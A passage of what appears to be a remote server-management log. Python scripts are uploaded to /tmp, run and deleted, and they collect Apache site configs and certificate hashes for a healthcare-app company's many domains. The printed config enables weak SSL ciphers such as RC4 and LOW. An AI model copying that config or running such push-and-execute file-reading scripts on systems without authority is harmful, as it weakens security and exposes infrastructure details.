    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-06 13:55:52: 

chmod 755 /tmp/pkp227022; /tmp/pkp227022; rm /tmp/pkp227022

2026-03-06 13:55:52: 
2026-03-06 13:55:52: 

PUT: /tmp/pkp427471

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientapps_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-06 13:55:52: 

chmod 755 /tmp/pkp427471; /tmp/pkp427471; rm /tmp/pkp427471

2026-03-06 13:55:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientapps_www_net.conf	1517
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/myapp_ma2-mtfp_care.conf)= 7472589b546c64790d8a4a507bb8930a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-acrp_care.conf)= 9e3b2e1ac45d4b81318b4a40ae6ed96c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lrygb_care.conf)= 4b1aae6f4a3a1cb5e036c51957d3b29b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_test_co.conf)= d4f3bdf22a365e4addd509df5175633f
MD5(/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293)= e3698212e13c16478338dbcc4e07d4e1
MD5(/etc/apache2/sites-available/myapp_ma1-tyto_care.conf)= 534693f5753d444c162ec45272483617
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ldhr_care.conf)= 16757e33e857ba30ce41b4901d052c88
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-lcl_care.conf)= 4a0e51e5e3ae68b52ace505e1380027e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lgb_care.conf)= 8225805d0ee85f394aa98eecdbd2abad
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-buni_care.conf)= 003f3de53e72662f0cb1bac459c3a717
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/001-myapp_www_care.conf)= 88ce7f2405c0946b8e4f3feb3edfb151
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/hostz_condor_org.conf)= 7fc95352b2ad760b6deff65bc4da1aba
MD5(/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt)= d2252bebb8e01b6185911a1187a828a8
MD5(/etc/apache2/sites-available/myapp_ma1-anin_care.conf)= 426de0a4ccda20e8130b6fe232ffc782
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mvrc_care.conf)= 7b6b1066a324fcf04594b29db38a08fe
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-utfa_care.conf)= c5a11a335ab10cdad497d0b916f574be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_d-oak_care.conf)= 05fd9880e5ae43a5c273807b07900d22
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_athenahealth_net.conf)= 5515b3f6e3122e420097da2be941b268
MD5(/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt)= 42e1b3a019f3148122afee5f8e6a4f85
MD5(/etc/apache2/sites-available/patientapps_cerner_net.conf)= 649bcc57a2c730d3643cc2199476201b
MD5(/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt)= 8edb78611d9c1d7692c769368b7e2f43
MD5(/etc/apache2/sites-available/myapp_ma1-ovin_care.conf)= 5078aab525cb8b94b9d7cdf7896e57e4
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ankp_care.conf)= 2c05ed3677f478037d6999525d7098a2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfu_care.conf)= 2a3d76a9d50ffdc4c0c873dbd55d446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_audio_net.conf)= 2bb0bee8eaa81c2509de421460f7342b
MD5(/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt)= ab806b2d4ea12fbdc0441997829b4d72
MD5(/etc/apache2/sites-available/myapp_ma1-savr_care.conf)= 4e650585d27701dce8cfd399f0d264be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_www_com.conf)= 2efe03af392bff4ff34b03d2a9fcb1d4
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 7f49184d8593902d56db555fb7db4254
MD5(/etc/apache2/sites-available/myapp_ma2-anin_care.conf)= 2b65f594b852c813e5014e8a368d2c3c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-chel_care.conf)= f2b806d6df70fec101fd07bad5efa7b1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rorp_care.conf)= f5023f5f7c06b4009eaad06e58460511
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-prls_care.conf)= b5c32ccc3600ba70c2276b6070a5f0f1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-lsst_care.conf)= 0decb6a0dc00ef2c8f364b9f004f1ad3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ctsr_care.conf)= a0ea9ce658c60a26441a945ec4fedbcb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-arcr_care.conf)= 06560a2f0a5413f7d75cdff2f18ba42a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hamm_care.conf)= 3fced2afd73010ee57d1cdeb6cdfd82a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-dego_care.conf)= 616c63a38f5956d2f00cfd0bf9093c3b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anrp_care.conf)= 35aaa8ab06a5ac762df09cb77bd9e9a8
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_pai_net.conf)= 53fdc6b10aaeafaf1458afd6edb777dd
MD5(/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt)= ad9112be7596022aa96ab35fa712447b
MD5(/etc/apache2/sites-available/myapp_test_care.conf)= 4154efbd4a45d5cdc3d887b22c2c5d39
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-typa_care.conf)= 8be89f5c74e7ce2de4a662d27565335a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-larn_care.conf)= 7bda03f83b5441843283464e9fcb0faf
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_version2_care.conf)= ff23f7a2d96d87d772f445dfadbc35ea
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anar_care.conf)= 3bd9b35cc0334d04416783b64b79b84d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-chel_care.conf)= efb80d5fec224d615671984258e498fb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasc_care.conf)= 34e2c1d81eb727d90d54fb5afa42d125
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfu_care.conf)= b745c696ba612a329dfbc4edf898a93b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-asst_care.conf)= e5fa96cbd4947b9dedb8efa1ceea7249
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mtfp_care.conf)= 37477599b957673cc4d4279b50753c12
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-lc_care.conf)= b90a1a0d4be5266bf921d7647b7ebfff
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hind_care.conf)= 0c1ebefc6c05b46eab95dd93ac47378a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfr_care.conf)= 88e6b02a3c208f67ff01e9b8a76166b2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_shop_co.conf)= 9f3aa7a2098d3966eed689f608e572f4
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99)= 1d0a6381e5455ced32411ebe9f1a8b48
MD5(/etc/apache2/sites-available/myapp_pai-lsst_care.conf)= 1e2061bfec93e17d29d5125a418a361b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 9950eb186b95ec495ff6aedd98d4d484
MD5(/etc/apache2/sites-available/myapp_ma1-sspr_care.conf)= a23003bbe9e71b851e4e6a89a58b4819
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-fass_care.conf)= d299a5e4da71b5ad9eff39af7a264c65
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasr_care.conf)= b434d2e01d9387e49b2619e932405dc7
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-rco_care.conf)= 269211c1701feb99a20a8c67e9540f42
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_store_com.conf)= 1d8a3025bd3f4b00f12b63b873e5d7e9
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 7f49184d8593902d56db555fb7db4254
MD5(/etc/apache2/sites-available/myapp_ma2-mdfu_care.conf)= 1b08c512b82461a3dc0be39de9e9fb80
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lsg_care.conf)= 4649593cb4ac7ab982dc0c5c9d2d5e4d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-shem_care.conf)= 938583f4e82b2fbe8a60d24671b9eeb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ropn_care.conf)= a93e624ddc0a275ad3c2ff7c0c848c38
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/patientapps_go_net.conf)= 546e95ee7a00039128d331094467c2cb
MD5(/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt)= 1ee2f6edf44983b67e7ccd459d5458ce
MD5(/etc/apache2/sites-available/myapp_ma1-cybb_care.conf)= 07d445cb4f45e8e9b44b4abb4dc66dca
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_cn-dego_care.conf)= eb779095289e49c995aa6563f82ae687
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-pcnl_care.conf)= 12b1743e8772fcbaac5bf1a629f1345e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-infp_care.conf)= 6b0f9394ecf801c495b23814f5e0f0fa
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-acrp_care.conf)= 80fd24cd0852534d517e2ba724d51bf1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfr_care.conf)= 77427efebdb964e7b3164a9c802ff360
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-turp_care.conf)= 060336712fb7ee3f2edc69864acbf09b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tylo_care.conf)= a23abb2e317f1150b1c6c623ba29ab5c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-pfer_care.conf)= 92ebb17024ab864649d754dd80db984d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-acrc_care.conf)= d0cd3cd7094032410b6b1a616a559e9b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anrp_care.conf)= f255d57f513cabd3c577172f85ee5bb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_www_net.conf)= 6492b2dcd2c18931d5cfaae3f999142f
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt)= e61219922eedac5569718d2cb579adb0
MD5(/etc/apache2/sites-available/myapp_ma1-osbp_care.conf)= d8eeb1d9b64757fa2860f7462aa0e04d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ldhr_care.conf)= 79cc94287fb48b9dce7bd13368e5e26a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-rcl_care.conf)= 1ba64d3689ac8e3c55769f24cd05c1b0
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rcl.conf)= 56ef59551907423a50d3f68facc29e50
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_portal_net.conf)= 155ece288d71a7aee0c487d9414d5b5b
MD5(/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt)= fad95c18f0f2cdecbc7b1b41502841ff
MD5(/etc/apache2/sites-available/myapp_pai-lsg-s_care.conf)= 07c0074c07d2fdaf426d47d73329446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-octf_care.conf)= e3d1d23858ff5fe1b4b09e3e9bc84bcc
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-epas_care.conf)= bb69149b2accf0666dadf4fcf2dff87f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tosr_care.conf)= f519fcea1b0b6978ea8466cc7952c051
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
link(/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma2-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf)= /etc/apache2/sites-available/myapp_sma1-lrygb_care.conf
link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2/sites-available/patientapps_test_co.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf)= /etc/apache2/sites-available/myapp_ma1-tyto_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf)= /etc/apache2/sites-available/myapp_ma1-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-lcl_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf)= /etc/apache2/sites-available/myapp_sma1-lgb_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf)= /etc/apache2/sites-available/myapp_ma2-buni_care.conf
link(/etc/apache2/sites-enabled/001-myapp_www_care.conf)= /etc/apache2/sites-available/001-myapp_www_care.conf
link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2/sites-available/hostz_condor_org.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf)= /etc/apache2/sites-available/myapp_ma1-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf)= /etc/apache2/sites-available/myapp_ma1-mvrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf)= /etc/apache2/sites-available/myapp_ma1-utfa_care.conf
link(/etc/apache2/sites-enabled/myapp_d-oak_care.conf)= /etc/apache2/sites-available/myapp_d-oak_care.conf
link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2/sites-available/patientapps_athenahealth_net.conf
link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2/sites-available/patientapps_cerner_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf)= /etc/apache2/sites-available/myapp_ma1-ovin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf)= /etc/apache2/sites-available/myapp_ma1-ankp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfu_care.conf
link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2/sites-available/patientapps_audio_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf)= /etc/apache2/sites-available/myapp_ma1-savr_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2/sites-available/patientappsinc_www_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf)= /etc/apache2/sites-available/myapp_ma2-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf)= /etc/apache2/sites-available/myapp_ma1-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf)= /etc/apache2/sites-available/myapp_ma1-rorp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf)= /etc/apache2/sites-available/myapp_ma1-prls_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf)= /etc/apache2/sites-available/myapp_ma1-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf)= /etc/apache2/sites-available/myapp_pai-ctsr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf)= /etc/apache2/sites-available/myapp_ma1-arcr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf)= /etc/apache2/sites-available/myapp_ma2-hamm_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf)= /etc/apache2/sites-available/myapp_ma1-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2/sites-available/patientapps_pai_net.conf
link(/etc/apache2/sites-enabled/myapp_test_care.conf)= /etc/apache2/sites-available/myapp_test_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf)= /etc/apache2/sites-available/myapp_ma1-typa_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf)= /etc/apache2/sites-available/myapp_ma1-larn_care.conf
link(/etc/apache2/sites-enabled/myapp_version2_care.conf)= /etc/apache2/sites-available/myapp_version2_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf)= /etc/apache2/sites-available/myapp_ma2-anar_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf)= /etc/apache2/sites-available/myapp_ma2-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfu_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf)= /etc/apache2/sites-available/myapp_ma1-asst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma1-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-lc_care.conf)= /etc/apache2/sites-available/myapp_pai-lc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf)= /etc/apache2/sites-available/myapp_ma2-hind_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfr_care.conf
link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2/sites-available/patientapps_shop_co.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf)= /etc/apache2/sites-available/myapp_pai-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf)= /etc/apache2/sites-available/myapp_ma1-sspr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf)= /etc/apache2/sites-available/myapp_ma1-fass_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasr_care.conf
